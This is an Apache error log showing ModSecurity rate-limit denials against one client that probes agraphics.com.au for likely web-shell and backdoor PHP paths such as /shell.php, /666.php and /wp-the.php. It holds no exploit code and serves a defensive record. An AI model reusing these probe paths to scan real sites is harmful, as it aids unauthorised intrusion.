[Thu Apr 23 21:26:36.654662 2026] [:error] [pid 42973:tid 43067] [client 20.251.223.35:52198] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeoeDG6I0QqmmmLTHE0cTwAAAJg"]
[Thu Apr 23 21:26:37.328933 2026] [:error] [pid 25635:tid 25642] [client 20.251.223.35:40627] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeoeDcRxv6UsgRGKB3I0ZQAAAQM"]
[Thu Apr 23 21:26:37.453930 2026] [:error] [pid 64967:tid 64972] [client 20.251.223.35:35766] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeoeDYAV4GfOOdX8Qzp2LwAAAYM"]
[Thu Apr 23 21:26:37.946683 2026] [:error] [pid 25635:tid 25655] [client 20.251.223.35:34479] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeoeDcRxv6UsgRGKB3I0ZgAAARA"]
[Thu Apr 23 21:26:38.158784 2026] [:error] [pid 25635:tid 25653] [client 20.251.223.35:32603] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeoeDsRxv6UsgRGKB3I0ZwAAAQ4"]
[Thu Apr 23 21:26:38.757560 2026] [:error] [pid 42972:tid 43031] [client 20.251.223.35:34478] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeoeDsOAb-3sOknsk4c9aAAAAE8"]
[Thu Apr 23 21:26:38.877538 2026] [:error] [pid 42972:tid 43016] [client 20.251.223.35:5805] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeoeDsOAb-3sOknsk4c9aQAAAEA"]
[Thu Apr 23 21:26:39.390019 2026] [:error] [pid 64998:tid 65018] [client 20.251.223.35:37575] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeoeD4V5EysYcTLjmwh-RAAAAdA"]
[Thu Apr 23 21:26:39.469147 2026] [:error] [pid 64967:tid 64991] [client 20.251.223.35:35750] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeoeD4AV4GfOOdX8Qzp2NAAAAZY"]
[Thu Apr 23 21:26:40.096278 2026] [:error] [pid 64967:tid 64985] [client 20.251.223.35:37622] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeoeEIAV4GfOOdX8Qzp2NgAAAZA"]
[Thu Apr 23 21:26:40.431345 2026] [:error] [pid 65000:tid 65056] [client 20.251.223.35:32622] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeoeEL6vRb9j6psK2ZaLTgAAAhc"]
[Thu Apr 23 21:26:40.933039 2026] [:error] [pid 42972:tid 43039] [client 20.251.223.35:34444] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeoeEMOAb-3sOknsk4c9bQAAAFc"]
[Thu Apr 23 21:26:41.092797 2026] [:error] [pid 65000:tid 65032] [client 20.251.223.35:5770] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeoeEb6vRb9j6psK2ZaLUgAAAgM"]
[Thu Apr 23 21:26:41.977131 2026] [:error] [pid 64998:tid 65006] [client 20.251.223.35:47178] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeoeEYV5EysYcTLjmwh-SwAAAcQ"]
[Thu Apr 23 21:26:43.700343 2026] [:error] [pid 65000:tid 65029] [client 20.251.223.35:41793] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeoeE76vRb9j6psK2ZaLXAAAAgA"]
[Thu Apr 23 21:26:44.254484 2026] [:error] [pid 65000:tid 65055] [client 20.251.223.35:39549] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeoeFL6vRb9j6psK2ZaLYAAAAhY"]
[Thu Apr 23 21:26:45.518285 2026] [:error] [pid 65000:tid 65046] [client 20.251.223.35:5795] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeoeFb6vRb9j6psK2ZaLYgAAAg0"]
[Thu Apr 23 21:26:46.297425 2026] [:error] [pid 65000:tid 65041] [client 20.251.223.35:6010] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeoeFr6vRb9j6psK2ZaLZgAAAgg"]
[Thu Apr 23 21:26:48.069304 2026] [:error] [pid 65000:tid 65049] [client 20.251.223.35:5981] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeoeGL6vRb9j6psK2ZaLbwAAAhA"]
[Thu Apr 23 21:26:49.326100 2026] [:error] [pid 59700:tid 59718] [client 20.251.223.35:41881] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeoeGZXyGZJFeAIDWtkqJAAAAVA"]
[Thu Apr 23 21:26:52.299093 2026] [:error] [pid 65000:tid 65030] [client 20.251.223.35:47197] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeoeHL6vRb9j6psK2ZaLhAAAAgE"]
[Thu Apr 23 21:26:52.427189 2026] [:error] [pid 42971:tid 42996] [client 20.251.223.35:39547] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeoeHDEP2_5RswrH8bEr1QAAAAo"]
[Thu Apr 23 21:26:54.797967 2026] [:error] [pid 65000:tid 65032] [client 20.251.223.35:37627] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeoeHr6vRb9j6psK2ZaLiQAAAgM"]
[Thu Apr 23 21:26:55.754014 2026] [:error] [pid 42972:tid 43028] [client 20.251.223.35:39496] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeoeH8OAb-3sOknsk4c9oQAAAEw"]
[Thu Apr 23 21:26:58.692931 2026] [proxy_fcgi:error] [pid 42971:tid 42997] [client 20.251.223.35:39501] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:26:58.977388 2026] [proxy_fcgi:error] [pid 42971:tid 43010] [client 20.251.223.35:39501] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:26:59.273107 2026] [proxy_fcgi:error] [pid 42971:tid 43007] [client 20.251.223.35:39501] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:26:59.547888 2026] [proxy_fcgi:error] [pid 42971:tid 42994] [client 20.251.223.35:39501] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:27:00.403561 2026] [proxy_fcgi:error] [pid 42971:tid 43006] [client 20.251.223.35:39501] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:27:01.475397 2026] [proxy_fcgi:error] [pid 42971:tid 43002] [client 20.251.223.35:39501] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:27:01.748533 2026] [proxy_fcgi:error] [pid 42971:tid 42988] [client 20.251.223.35:39501] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:27:02.036589 2026] [proxy_fcgi:error] [pid 42971:tid 43004] [client 20.251.223.35:39501] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:27:02.571172 2026] [proxy_fcgi:error] [pid 42971:tid 43000] [client 20.251.223.35:39501] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:27:02.791043 2026] [:error] [pid 64998:tid 65008] [client 20.251.223.35:39492] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeoeJoV5EysYcTLjmwh-hAAAAcY"]
[Thu Apr 23 21:27:03.106451 2026] [:error] [pid 42971:tid 43001] [client 20.251.223.35:39501] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeoeJzEP2_5RswrH8bEr6wAAAA8"]
[Thu Apr 23 21:27:03.629333 2026] [:error] [pid 65000:tid 65046] [client 20.251.223.35:37590] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeoeJ76vRb9j6psK2ZaLmgAAAg0"]
[Thu Apr 23 21:27:03.978693 2026] [:error] [pid 42972:tid 43018] [client 20.251.223.35:38249] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeoeJ8OAb-3sOknsk4c9ywAAAEI"]
[Thu Apr 23 21:27:04.558491 2026] [:error] [pid 64998:tid 65023] [client 20.251.223.35:5426] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeoeKIV5EysYcTLjmwh-jgAAAdU"]
[Thu Apr 23 21:27:04.751882 2026] [:error] [pid 65000:tid 65044] [client 20.251.223.35:41797] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeoeKL6vRb9j6psK2ZaLpQAAAgs"]
[Thu Apr 23 21:27:05.440930 2026] [:error] [pid 64998:tid 65010] [client 20.251.223.35:41811] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeoeKYV5EysYcTLjmwh-kgAAAcg"]
[Thu Apr 23 21:27:05.991752 2026] [:error] [pid 65000:tid 65057] [client 20.251.223.35:39508] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeoeKb6vRb9j6psK2ZaLrwAAAhg"]
[Thu Apr 23 21:27:06.236519 2026] [:error] [pid 65000:tid 65043] [client 20.251.223.35:41852] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeoeKr6vRb9j6psK2ZaLtQAAAgo"]
[Thu Apr 23 21:27:06.602087 2026] [:error] [pid 65000:tid 65051] [client 20.251.223.35:50905] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeoeKr6vRb9j6psK2ZaLuQAAAhI"]
[Thu Apr 23 21:27:06.995909 2026] [:error] [pid 65000:tid 65055] [client 20.251.223.35:44969] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeoeKr6vRb9j6psK2ZaLvQAAAhY"]
[Thu Apr 23 21:27:07.603740 2026] [:error] [pid 59700:tid 59720] [client 20.251.223.35:5438] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeoeK5XyGZJFeAIDWtkqNwAAAVI"]
[Thu Apr 23 21:27:08.047411 2026] [:error] [pid 64998:tid 65017] [client 20.251.223.35:5393] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeoeLIV5EysYcTLjmwh-mQAAAc8"]
[Thu Apr 23 21:27:08.418941 2026] [:error] [pid 59700:tid 59706] [client 20.251.223.35:44962] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeoeLJXyGZJFeAIDWtkqOAAAAUQ"]
[Thu Apr 23 21:27:10.363841 2026] [:error] [pid 42971:tid 43005] [client 20.251.223.35:44964] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeoeLjEP2_5RswrH8bEr7gAAABM"]
[Thu Apr 23 21:27:10.714482 2026] [:error] [pid 42971:tid 43008] [client 20.251.223.35:5411] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeoeLjEP2_5RswrH8bEr7wAAABY"]
[Thu Apr 23 21:27:11.332669 2026] [:error] [pid 65000:tid 65057] [client 20.251.223.35:39524] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeoeL76vRb9j6psK2ZaLzQAAAhg"]
[Thu Apr 23 21:27:11.627793 2026] [:error] [pid 65000:tid 65044] [client 20.251.223.35:38261] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeoeL76vRb9j6psK2ZaL0AAAAgs"]
[Thu Apr 23 21:27:12.556812 2026] [:error] [pid 25635:tid 25655] [client 20.251.223.35:45355] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeoeMMRxv6UsgRGKB3I0bQAAARA"]
[Thu Apr 23 21:27:13.143051 2026] [:error] [pid 59700:tid 59723] [client 20.251.223.35:6006] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeoeMZXyGZJFeAIDWtkqRQAAAVU"]
[Thu Apr 23 21:27:13.542087 2026] [:error] [pid 25635:tid 25653] [client 20.251.223.35:52696] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeoeMcRxv6UsgRGKB3I0bgAAAQ4"]
[Thu Apr 23 21:27:14.112923 2026] [:error] [pid 64967:tid 64990] [client 20.251.223.35:5140] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeoeMoAV4GfOOdX8Qzp2QgAAAZU"]
[Thu Apr 23 21:27:15.411023 2026] [:error] [pid 65000:tid 65056] [client 20.251.223.35:28914] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeoeM76vRb9j6psK2ZaL2wAAAhc"]
[Thu Apr 23 21:27:15.888571 2026] [:error] [pid 64998:tid 65008] [client 20.251.223.35:5417] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeoeM4V5EysYcTLjmwh-rgAAAcY"]
[Thu Apr 23 21:27:16.218157 2026] [:error] [pid 42973:tid 43054] [client 20.251.223.35:38217] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeoeNG6I0QqmmmLTHE0ccQAAAIs"]
[Thu Apr 23 21:27:16.893988 2026] [:error] [pid 42972:tid 43035] [client 20.251.223.35:5129] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeoeNMOAb-3sOknsk4c95AAAAFM"]
[Thu Apr 23 21:27:17.447427 2026] [:error] [pid 64998:tid 65004] [client 20.251.223.35:45363] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeoeNYV5EysYcTLjmwh-tgAAAcI"]
[Thu Apr 23 21:27:18.048589 2026] [:error] [pid 42972:tid 43024] [client 20.251.223.35:31367] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeoeNsOAb-3sOknsk4c95gAAAEg"]
[Thu Apr 23 21:27:18.049005 2026] [:error] [pid 42971:tid 42994] [client 20.251.223.35:5155] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeoeNjEP2_5RswrH8bEr8gAAAAg"]
[Thu Apr 23 21:27:18.877493 2026] [:error] [pid 65000:tid 65032] [client 20.251.223.35:45368] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeoeNr6vRb9j6psK2ZaL4QAAAgM"]
